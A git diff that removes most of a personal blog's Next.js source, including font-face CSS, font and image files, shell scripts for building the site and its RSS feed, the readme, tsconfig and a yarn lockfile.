-@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 500; - font-display: swap; - src: url("./inter/Inter-MediumItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-MediumItalic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 600; - font-display: swap; - src: url("./inter/Inter-SemiBold.woff2?v=3.15") format("woff2"), - url("./inter/Inter-SemiBold.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 600; - font-display: swap; - src: url("./inter/Inter-SemiBoldItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-SemiBoldItalic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 700; - font-display: swap; - src: url("./inter/Inter-Bold.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Bold.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 700; - font-display: swap; - src: url("./inter/Inter-BoldItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-BoldItalic.woff?v=3.15") format("woff"); -} - - - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 400; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Regular.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 400; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Italic.woff2") format("woff2"); -} - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 500; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Medium.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 500; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-MediumItalic.woff2") format("woff2"); -} - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 700; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Bold.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 700; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-BoldItalic.woff2") format("woff2"); -} - diff --git a/public/font/inter/Inter-Bold.woff b/public/font/inter/Inter-Bold.woff deleted file mode 100644 index 80f70f0..0000000 Binary files a/public/font/inter/Inter-Bold.woff and /dev/null differ diff --git a/public/font/inter/Inter-Bold.woff2 b/public/font/inter/Inter-Bold.woff2 deleted file mode 100644 index 622e5f1..0000000 Binary files a/public/font/inter/Inter-Bold.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-BoldItalic.woff b/public/font/inter/Inter-BoldItalic.woff deleted file mode 100644 index 03238dd..0000000 Binary files a/public/font/inter/Inter-BoldItalic.woff and /dev/null differ diff --git a/public/font/inter/Inter-BoldItalic.woff2 b/public/font/inter/Inter-BoldItalic.woff2 deleted file mode 100644 index 1b2dafb..0000000 Binary files a/public/font/inter/Inter-BoldItalic.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-Italic.woff b/public/font/inter/Inter-Italic.woff deleted file mode 100644 index 9c21aed..0000000 Binary files a/public/font/inter/Inter-Italic.woff and /dev/null differ diff --git a/public/font/inter/Inter-Italic.woff2 b/public/font/inter/Inter-Italic.woff2 deleted file mode 100644 index 734944b..0000000 Binary files a/public/font/inter/Inter-Italic.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-Medium.woff b/public/font/inter/Inter-Medium.woff deleted file mode 100644 index 1d50f80..0000000 Binary files a/public/font/inter/Inter-Medium.woff and /dev/null differ diff --git a/public/font/inter/Inter-Medium.woff2 b/public/font/inter/Inter-Medium.woff2 deleted file mode 100644 index ffb4206..0000000 Binary files a/public/font/inter/Inter-Medium.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-MediumItalic.woff b/public/font/inter/Inter-MediumItalic.woff deleted file mode 100644 index 9eb5b9d..0000000 Binary files a/public/font/inter/Inter-MediumItalic.woff and /dev/null differ diff --git a/public/font/inter/Inter-MediumItalic.woff2 b/public/font/inter/Inter-MediumItalic.woff2 deleted file mode 100644 index ebee655..0000000 Binary files a/public/font/inter/Inter-MediumItalic.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-Regular.woff b/public/font/inter/Inter-Regular.woff deleted file mode 100644 index 7cb4990..0000000 Binary files a/public/font/inter/Inter-Regular.woff and /dev/null differ diff --git a/public/font/inter/Inter-Regular.woff2 b/public/font/inter/Inter-Regular.woff2 deleted file mode 100644 index 66691b8..0000000 Binary files a/public/font/inter/Inter-Regular.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-SemiBold.woff b/public/font/inter/Inter-SemiBold.woff deleted file mode 100644 index 490bd9d..0000000 Binary files a/public/font/inter/Inter-SemiBold.woff and /dev/null differ diff --git a/public/font/inter/Inter-SemiBold.woff2 b/public/font/inter/Inter-SemiBold.woff2 deleted file mode 100644 index 9fd7726..0000000 Binary files a/public/font/inter/Inter-SemiBold.woff2 and /dev/null differ diff --git a/public/font/inter/Inter-SemiBoldItalic.woff b/public/font/inter/Inter-SemiBoldItalic.woff deleted file mode 100644 index 839fc3d..0000000 Binary files a/public/font/inter/Inter-SemiBoldItalic.woff and /dev/null differ diff --git a/public/font/inter/Inter-SemiBoldItalic.woff2 b/public/font/inter/Inter-SemiBoldItalic.woff2 deleted file mode 100644 index 2492569..0000000 Binary files a/public/font/inter/Inter-SemiBoldItalic.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 deleted file mode 100644 index 07fe5d7..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 deleted file mode 100644 index 57263ef..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 deleted file mode 100644 index cf9e8ef..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 deleted file mode 100644 index b4d9438..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 deleted file mode 100644 index 3ac249b..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 and /dev/null differ diff --git a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 deleted file mode 100644 index cc9a1ae..0000000 Binary files a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 and /dev/null differ diff --git a/public/img/avanswifi.png b/public/img/avanswifi.png deleted file mode 100644 index b006795..0000000 Binary files a/public/img/avanswifi.png and /dev/null differ diff --git a/public/img/connectfourbeta.png b/public/img/connectfourbeta.png deleted file mode 100644 index b4ff091..0000000 Binary files a/public/img/connectfourbeta.png and /dev/null differ diff --git a/public/img/git.png b/public/img/git.png deleted file mode 100644 index 1842eed..0000000 Binary files a/public/img/git.png and /dev/null differ diff --git a/public/img/helloworld.png b/public/img/helloworld.png deleted file mode 100644 index dd067bf..0000000 Binary files a/public/img/helloworld.png and /dev/null differ diff --git a/public/img/homeauto.png b/public/img/homeauto.png deleted file mode 100644 index 4398655..0000000 Binary files a/public/img/homeauto.png and /dev/null differ diff --git a/public/img/homeauto/controller_board.jpg b/public/img/homeauto/controller_board.jpg deleted file mode 100644 index 046785a..0000000 Binary files a/public/img/homeauto/controller_board.jpg and /dev/null differ diff --git a/public/img/homeauto/controller_original.jpg b/public/img/homeauto/controller_original.jpg deleted file mode 100644 index 6437506..0000000 Binary files a/public/img/homeauto/controller_original.jpg and /dev/null differ diff --git a/public/img/homeauto/esp8266.jpg b/public/img/homeauto/esp8266.jpg deleted file mode 100644 index d1d886c..0000000 Binary files a/public/img/homeauto/esp8266.jpg and /dev/null differ diff --git a/public/img/homeauto/espfit.png b/public/img/homeauto/espfit.png deleted file mode 100644 index 78ce979..0000000 Binary files a/public/img/homeauto/espfit.png and /dev/null differ diff --git a/public/img/homeauto/finishedcontroller.png b/public/img/homeauto/finishedcontroller.png deleted file mode 100644 index babd439..0000000 Binary files a/public/img/homeauto/finishedcontroller.png and /dev/null differ diff --git a/public/img/homeauto/irboardbot.png b/public/img/homeauto/irboardbot.png deleted file mode 100644 index 2924c1b..0000000 Binary files a/public/img/homeauto/irboardbot.png and /dev/null differ diff --git a/public/img/homeauto/irboardtop.png b/public/img/homeauto/irboardtop.png deleted file mode 100644 index 7cbcf2c..0000000 Binary files a/public/img/homeauto/irboardtop.png and /dev/null differ diff --git a/public/img/homeauto/open_controller.jpg b/public/img/homeauto/open_controller.jpg deleted file mode 100644 index d704967..0000000 Binary files a/public/img/homeauto/open_controller.jpg and /dev/null differ diff --git a/public/img/homeauto/opening_controller.jpg b/public/img/homeauto/opening_controller.jpg deleted file mode 100644 index a787e32..0000000 Binary files a/public/img/homeauto/opening_controller.jpg and /dev/null differ diff --git a/public/img/homeauto/schematic.png b/public/img/homeauto/schematic.png deleted file mode 100644 index 2afcc6b..0000000 Binary files a/public/img/homeauto/schematic.png and /dev/null differ diff --git a/public/img/homeauto/shittydremel.png b/public/img/homeauto/shittydremel.png deleted file mode 100644 index 830bfa1..0000000 Binary files a/public/img/homeauto/shittydremel.png and /dev/null differ diff --git a/public/img/latex.png b/public/img/latex.png deleted file mode 100644 index 9489d51..0000000 Binary files a/public/img/latex.png and /dev/null differ diff --git a/public/img/redpwn2021.png b/public/img/redpwn2021.png deleted file mode 100644 index b730ad0..0000000 Binary files a/public/img/redpwn2021.png and /dev/null differ diff --git a/public/img/redpwn2021/cyberchef1.png b/public/img/redpwn2021/cyberchef1.png deleted file mode 100644 index d0a3a08..0000000 Binary files a/public/img/redpwn2021/cyberchef1.png and /dev/null differ diff --git a/public/img/redpwn2021/cyberchef2.png b/public/img/redpwn2021/cyberchef2.png deleted file mode 100644 index cb92819..0000000 Binary files a/public/img/redpwn2021/cyberchef2.png and /dev/null differ diff --git a/public/img/redpwn2021/leaderboard.png b/public/img/redpwn2021/leaderboard.png deleted file mode 100644 index 5feeea6..0000000 Binary files a/public/img/redpwn2021/leaderboard.png and /dev/null differ diff --git a/public/img/scoop.png b/public/img/scoop.png deleted file mode 100644 index fda7b4d..0000000 Binary files a/public/img/scoop.png and /dev/null differ diff --git a/public/img/software.png b/public/img/software.png deleted file mode 100644 index c4cf93b..0000000 Binary files a/public/img/software.png and /dev/null differ diff --git a/public/robots.txt b/public/robots.txt deleted file mode 100644 index 5b6f9d8..0000000 --- a/public/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Disallow: /atom.xml diff --git a/readme.md b/readme.md deleted file mode 100644 index 4daca90..0000000 --- a/readme.md +++ /dev/null @@ -1,16 +0,0 @@ -# blog - -this is the source of my blog website - -## important locations for stuff - -|**what** | **location** | -|----------------------|--------------------| -|**home page content** | `posts/index.md` | -|**posts** | `posts/*.md` | -|**pinned posts** | `pages/index.tsx` | -|**images** | `public/img/*` | -|**rss feed info** | `rss/base.xml` | -|**theme stuff** | `styles/theme.css` | - -it's mit licensed so you can basically shamelessly copy it and i won't cry diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000..7d329b1 --- /dev/null +++ b/robots.txt @@ -0,0 +1 @@ +User-agent: * diff --git a/rss/base.xml b/rss/base.xml deleted file mode 100644 index daa65ad..0000000 --- a/rss/base.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Loek's excruciatingly interesting blog - This is where I post updates on things that I do - en-us - https://blog.pipeframe.xyz/atom.xml - - - diff --git a/rss/genrss b/rss/genrss deleted file mode 100755 index 9c3c19c..0000000 --- a/rss/genrss +++ /dev/null @@ -1,23 +0,0 @@ -#!/bin/sh - -cd $(dirname $0) - -alias xml="xmlstarlet" - -cp base.xml atom.xml -for file in ../out/post/*; do - base=$(basename "$file" .html) - - xml ed -L \ - -s '/rss/channel' -t elem -n item \ - --var newitem '$prev' \ - -s '$newitem' -t elem -n title -v "$(../scripts/meta title "../posts/${base}.md" | jq --raw-output)" \ - -s '$newitem' -t elem -n guid -v "$base" \ - -s '$newitem' -t elem -n link -v "/post/$base" \ - -s '$newitem' -t elem -n pubDate -v "$(../scripts/meta date "../posts/${base}.md" | jq --raw-output)" \ - -s '$newitem' -t elem -n description -v "$(pup -f "../out/post/${base}.html" .contentWrapper)" \ - atom.xml -done - -mv atom.xml ../out/ - diff --git a/scripts/build b/scripts/build deleted file mode 100755 index 0a5e246..0000000 --- a/scripts/build +++ /dev/null @@ -1,29 +0,0 @@ -#!/bin/sh - -web_root=/var/www/blog - -cd $(dirname $0) - -echo "-> generating posts.json..." -./genposts - -cd .. - -echo "-> building static files..." -npx next build - -echo "-> exporting static files..." -npx next export - -echo "-> generating atom.xml..." -./rss/genrss - -echo "-> cleaning $web_root..." -rm -rf $web_root/* - -echo "-> moving static files to $web_root..." -cp -rv out/* $web_root - -echo "-> cleaning out directory..." -rm -rfv out - diff --git a/scripts/genposts b/scripts/genposts deleted file mode 100755 index 22459fb..0000000 --- a/scripts/genposts +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/sh - -cd $(dirname $0) - -./posts |\ - jq ".posts |= sort_by(.date)" |\ - jq -c \ - > ../public/posts.json - diff --git a/scripts/meta b/scripts/meta deleted file mode 100755 index f7a3f84..0000000 --- a/scripts/meta +++ /dev/null @@ -1,22 +0,0 @@ -#!/bin/sh - -tag_name=$1 -filename=$2 - -output=$(grep -Poh "^\[meta\]:\s+<$tag_name>\s+\(\K(.+)(?=\)$)" $filename) - -if [ "$tag_name" = "tags" ]; then - echo $output |\ - sed "s/,\s*/\n/g" |\ - sed -z '$ s/\n$//' |\ - jq --raw-input --slurp 'split("\n")' -else - if [ "$output" = "" ]; then - echo "" | jq --raw-input - else - echo $output |\ - sed -z '$ s/\n$//' |\ - jq --raw-input - fi -fi - diff --git a/scripts/postinfo b/scripts/postinfo deleted file mode 100755 index d6da015..0000000 --- a/scripts/postinfo +++ /dev/null @@ -1,24 +0,0 @@ -#!/bin/sh - -cd "$(dirname $0)" - -filename=$1 - -jq -n \ - --argjson title "$(./meta title $filename)" \ - --argjson subtitle "$(./meta subtitle $filename)" \ - --argjson author "$(./meta author $filename)" \ - --argjson date "$(./meta date $filename)" \ - --argjson tags "$(./meta tags $filename)" \ - --argjson cover "$(./meta cover $filename)" \ - --argjson id "$(basename $filename .md | jq --raw-input)" \ -'{ - "title": $title, - "subtitle": $subtitle, - "author": $author, - "date": $date, - "tags": $tags, - "cover": $cover, - "id": $id -}' - diff --git a/scripts/posts b/scripts/posts deleted file mode 100755 index 12900e1..0000000 --- a/scripts/posts +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/sh - -postsmeta=$( find ../posts \ - -name "*.md" \ - -type f \ - -exec ./postinfo {} \; |\ - jq -s '.') - -jq -n \ - --argjson valid_tags "$(./tags)" \ - --argjson posts "$postsmeta" \ -'{ - "valid_tags": $valid_tags, - "posts": $posts -}' - diff --git a/scripts/tags b/scripts/tags deleted file mode 100755 index c0e784b..0000000 --- a/scripts/tags +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/sh - -grep -Proh \ - "^\[meta\]:\s+\s+\(\K(.+)(?=\)$)" ../posts |\ - sed "s/,\s*/\n/g" |\ - sort |\ - uniq |\ - sed -z '$ s/\n$//' |\ - jq --raw-input --slurp 'split("\n")' - diff --git a/tsconfig.json b/tsconfig.json deleted file mode 100644 index 2ba1e4f..0000000 --- a/tsconfig.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "compilerOptions": { - "target": "es5", - "lib": [ - "dom", - "dom.iterable", - "esnext" - ], - "allowJs": true, - "skipLibCheck": true, - "strict": false, - "forceConsistentCasingInFileNames": true, - "noEmit": true, - "esModuleInterop": true, - "module": "esnext", - "moduleResolution": "node", - "resolveJsonModule": true, - "isolatedModules": true, - "jsx": "preserve" - }, - "include": [ - "next-env.d.ts", - "**/*.ts", - "**/*.tsx" - ], - "exclude": [ - "node_modules" - ] -} diff --git a/yarn.lock b/yarn.lock deleted file mode 100644 index d97882f..0000000 --- a/yarn.lock +++ /dev/null @@ -1,2480 +0,0 @@ -# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. -# yarn lockfile v1 - - -"@babel/code-frame@7.12.11": - version "7.12.11" - resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f" - integrity sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw== - dependencies: - "@babel/highlight" "^7.10.4" - -"@babel/helper-validator-identifier@^7.12.11": - version "7.12.11" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz#c9a1f021917dcb5ccf0d4e453e399022981fc9ed" - integrity sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw== - -"@babel/highlight@^7.10.4": - version "7.13.10" - resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.13.10.tgz#a8b2a66148f5b27d666b15d81774347a731d52d1" - integrity sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg== - dependencies: - "@babel/helper-validator-identifier" "^7.12.11" - chalk "^2.0.0" - js-tokens "^4.0.0" - -"@babel/runtime@7.12.5": - version "7.12.5" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.12.5.tgz#410e7e487441e1b360c29be715d870d9b985882e" - integrity sha512-plcc+hbExy3McchJCEQG3knOsuh3HH+Prx1P6cLIkET/0dLuQDEnrT+s27Axgc9bqfsmNUNHfscgMUdBpC9xfg== - dependencies: - regenerator-runtime "^0.13.4" - -"@babel/runtime@^7.3.1", "@babel/runtime@^7.4.4", "@babel/runtime@^7.5.5", "@babel/runtime@^7.8.3", "@babel/runtime@^7.8.7": - version "7.13.10" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.13.10.tgz#47d42a57b6095f4468da440388fdbad8bebf0d7d" - integrity sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw== - dependencies: - regenerator-runtime "^0.13.4" - -"@babel/types@7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.8.3.tgz#5a383dffa5416db1b73dedffd311ffd0788fb31c" - integrity sha512-jBD+G8+LWpMBBWvVcdr4QysjUE4mU/syrhN17o1u3gx0/WzJB1kwiVZAXRtWbsIPOwW8pF/YJV5+nmetPzepXg== - dependencies: - esutils "^2.0.2" - lodash "^4.17.13" - to-fast-properties "^2.0.0" - -"@emotion/hash@^0.8.0": - version "0.8.0" - resolved "https://registry.yarnpkg.com/@emotion/hash/-/hash-0.8.0.tgz#bbbff68978fefdbe68ccb533bc8cbe1d1afb5413" - integrity sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow== - -"@hapi/accept@5.0.1": - version "5.0.1" - resolved "https://registry.yarnpkg.com/@hapi/accept/-/accept-5.0.1.tgz#068553e867f0f63225a506ed74e899441af53e10" - integrity sha512-fMr4d7zLzsAXo28PRRQPXR1o2Wmu+6z+VY1UzDp0iFo13Twj8WePakwXBiqn3E1aAlTpSNzCXdnnQXFhst8h8Q== - dependencies: - "@hapi/boom" "9.x.x" - "@hapi/hoek" "9.x.x" - -"@hapi/boom@9.x.x": - version "9.1.2" - resolved "https://registry.yarnpkg.com/@hapi/boom/-/boom-9.1.2.tgz#48bd41d67437164a2d636e3b5bc954f8c8dc5e38" - integrity sha512-uJEJtiNHzKw80JpngDGBCGAmWjBtzxDCz17A9NO2zCi8LLBlb5Frpq4pXwyN+2JQMod4pKz5BALwyneCgDg89Q== - dependencies: - "@hapi/hoek" "9.x.x" - -"@hapi/hoek@9.x.x": - version "9.1.1" - resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.1.1.tgz#9daf5745156fd84b8e9889a2dc721f0c58e894aa" - integrity sha512-CAEbWH7OIur6jEOzaai83jq3FmKmv4PmX1JYfs9IrYcGEVI/lyL1EXJGCj7eFVJ0bg5QR8LMxBlEtA+xKiLpFw== - -"@material-ui/core@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/core/-/core-4.11.3.tgz#f22e41775b0bd075e36a7a093d43951bf7f63850" - integrity sha512-Adt40rGW6Uds+cAyk3pVgcErpzU/qxc7KBR94jFHBYretU4AtWZltYcNsbeMn9tXL86jjVL1kuGcIHsgLgFGRw== - dependencies: - "@babel/runtime" "^7.4.4" - "@material-ui/styles" "^4.11.3" - "@material-ui/system" "^4.11.3" - "@material-ui/types" "^5.1.0" - "@material-ui/utils" "^4.11.2" - "@types/react-transition-group" "^4.2.0" - clsx "^1.0.4" - hoist-non-react-statics "^3.3.2" - popper.js "1.16.1-lts" - prop-types "^15.7.2" - react-is "^16.8.0 || ^17.0.0" - react-transition-group "^4.4.0" - -"@material-ui/icons@^4.11.2": - version "4.11.2" - resolved "https://registry.yarnpkg.com/@material-ui/icons/-/icons-4.11.2.tgz#b3a7353266519cd743b6461ae9fdfcb1b25eb4c5" - integrity sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ== - dependencies: - "@babel/runtime" "^7.4.4" - -"@material-ui/styles@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/styles/-/styles-4.11.3.tgz#1b8d97775a4a643b53478c895e3f2a464e8916f2" - integrity sha512-HzVzCG+PpgUGMUYEJ2rTEmQYeonGh41BYfILNFb/1ueqma+p1meSdu4RX6NjxYBMhf7k+jgfHFTTz+L1SXL/Zg== - dependencies: - "@babel/runtime" "^7.4.4" - "@emotion/hash" "^0.8.0" - "@material-ui/types" "^5.1.0" - "@material-ui/utils" "^4.11.2" - clsx "^1.0.4" - csstype "^2.5.2" - hoist-non-react-statics "^3.3.2" - jss "^10.5.1" - jss-plugin-camel-case "^10.5.1" - jss-plugin-default-unit "^10.5.1" - jss-plugin-global "^10.5.1" - jss-plugin-nested "^10.5.1" - jss-plugin-props-sort "^10.5.1" - jss-plugin-rule-value-function "^10.5.1" - jss-plugin-vendor-prefixer "^10.5.1" - prop-types "^15.7.2" - -"@material-ui/system@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/system/-/system-4.11.3.tgz#466bc14c9986798fd325665927c963eb47cc4143" - integrity sha512-SY7otguNGol41Mu2Sg6KbBP1ZRFIbFLHGK81y4KYbsV2yIcaEPOmsCK6zwWlp+2yTV3J/VwT6oSBARtGIVdXPw== - dependencies: - "@babel/runtime" "^7.4.4" - "@material-ui/utils" "^4.11.2" - csstype "^2.5.2" - prop-types "^15.7.2" - -"@material-ui/types@^5.1.0": - version "5.1.0" - resolved "https://registry.yarnpkg.com/@material-ui/types/-/types-5.1.0.tgz#efa1c7a0b0eaa4c7c87ac0390445f0f88b0d88f2" - integrity sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A== - -"@material-ui/utils@^4.11.2": - version "4.11.2" - resolved "https://registry.yarnpkg.com/@material-ui/utils/-/utils-4.11.2.tgz#f1aefa7e7dff2ebcb97d31de51aecab1bb57540a" - integrity sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA== - dependencies: - "@babel/runtime" "^7.4.4" - prop-types "^15.7.2" - react-is "^16.8.0 || ^17.0.0" - -"@next/env@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/env/-/env-10.0.9.tgz#455fd364c8a5ee012b2cd4406d5294164990706d" - integrity sha512-MERX3DY5u0Ed29eAsXeFBCZlFAGBtmjf7+Nht0hfgB25MPKKkIbC/0MRPcX/PQcAgLHsAHO6ay1u9xKzR4Vzjw== - -"@next/polyfill-module@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/polyfill-module/-/polyfill-module-10.0.9.tgz#0c21442dd73ec31ae30ac560bc5c5fdce068a98f" - integrity sha512-kPOP6ku/e8zdrK8hwxOrjUrPLcdDEj12huLHVz+DZU+20q6VlhMOtR8aKHW1460L4LoLE/DAa7YyIuxtArhDRg== - -"@next/react-dev-overlay@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/react-dev-overlay/-/react-dev-overlay-10.0.9.tgz#5162d66c05b2a0ca0d155f7e6663e8134d9d4ac9" - integrity sha512-JsSh2Y004MEuPYqBD9eTl4PVZIjSzSy2GcD7MrW/gQcExYNpeMIJAbh8/OcyO1t+OnQeIHF5s/xTMsDHBGNcew== - dependencies: - "@babel/code-frame" "7.12.11" - anser "1.4.9" - chalk "4.0.0" - classnames "2.2.6" - css.escape "1.5.1" - data-uri-to-buffer "3.0.1" - platform "1.3.6" - shell-quote "1.7.2" - source-map "0.8.0-beta.0" - stacktrace-parser "0.1.10" - strip-ansi "6.0.0" - -"@next/react-refresh-utils@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/react-refresh-utils/-/react-refresh-utils-10.0.9.tgz#cdf9e41f8854c113397853daf78469b0c8140f14" - integrity sha512-LSoKnM+fI9MHHew+mBg1w2e4/gjwPQsI+mDTzmfwdBwje+j9U2Int6XOZftMqBPXSlL04vjC9SRBkp0+3h8cNA== - -"@opentelemetry/api@0.14.0": - version "0.14.0" - resolved "https://registry.yarnpkg.com/@opentelemetry/api/-/api-0.14.0.tgz#4e17d8d2f1da72b19374efa7b6526aa001267cae" - integrity sha512-L7RMuZr5LzMmZiQSQDy9O1jo0q+DaLy6XpYJfIGfYSfoJA5qzYwUP3sP1uMIQ549DvxAgM3ng85EaPTM/hUHwQ== - dependencies: - "@opentelemetry/context-base" "^0.14.0" - -"@opentelemetry/context-base@^0.14.0": - version "0.14.0" - resolved "https://registry.yarnpkg.com/@opentelemetry/context-base/-/context-base-0.14.0.tgz#c67fc20a4d891447ca1a855d7d70fa79a3533001" - integrity sha512-sDOAZcYwynHFTbLo6n8kIbLiVF3a3BLkrmehJUyEbT9F+Smbi47kLGS2gG2g0fjBLR/Lr1InPD7kXL7FaTqEkw== - -"@types/hast@^2.0.0": - version "2.3.1" - resolved "https://registry.yarnpkg.com/@types/hast/-/hast-2.3.1.tgz#b16872f2a6144c7025f296fb9636a667ebb79cd9" - integrity sha512-viwwrB+6xGzw+G1eWpF9geV3fnsDgXqHG+cqgiHrvQfDUW5hzhCyV7Sy3UJxhfRFBsgky2SSW33qi/YrIkjX5Q== - dependencies: - "@types/unist" "*" - -"@types/mdast@^3.0.0": - version "3.0.3" - resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.3.tgz#2d7d671b1cd1ea3deb306ea75036c2a0407d2deb" - integrity sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw== - dependencies: - "@types/unist" "*" - -"@types/mousetrap@^1.6.4": - version "1.6.8" - resolved "https://registry.yarnpkg.com/@types/mousetrap/-/mousetrap-1.6.8.tgz#448929e6dc21126392830465fdb9d4a2cfc16a88" - integrity sha512-zTqjvgCUT5EoXqbqmd8iJMb4NJqyV/V7pK7AIKq7qcaAsJIpGlTVJS1HQM6YkdHCdnkNSbhcQI7MXYxFfE3iCA== - -"@types/node@^14.14.36": - version "14.14.36" - resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.36.tgz#5637905dbb15c30a33a3c65b9ef7c20e3c85ebad" - integrity sha512-kjivUwDJfIjngzbhooRnOLhGYz6oRFi+L+EpMjxroDYXwDw9lHrJJ43E+dJ6KAd3V3WxWAJ/qZE9XKYHhjPOFQ== - -"@types/parse5@^5.0.0": - version "5.0.3" - resolved "https://registry.yarnpkg.com/@types/parse5/-/parse5-5.0.3.tgz#e7b5aebbac150f8b5fdd4a46e7f0bd8e65e19109" - integrity sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw== - -"@types/prop-types@*": - version "15.7.3" - resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7" - integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw== - 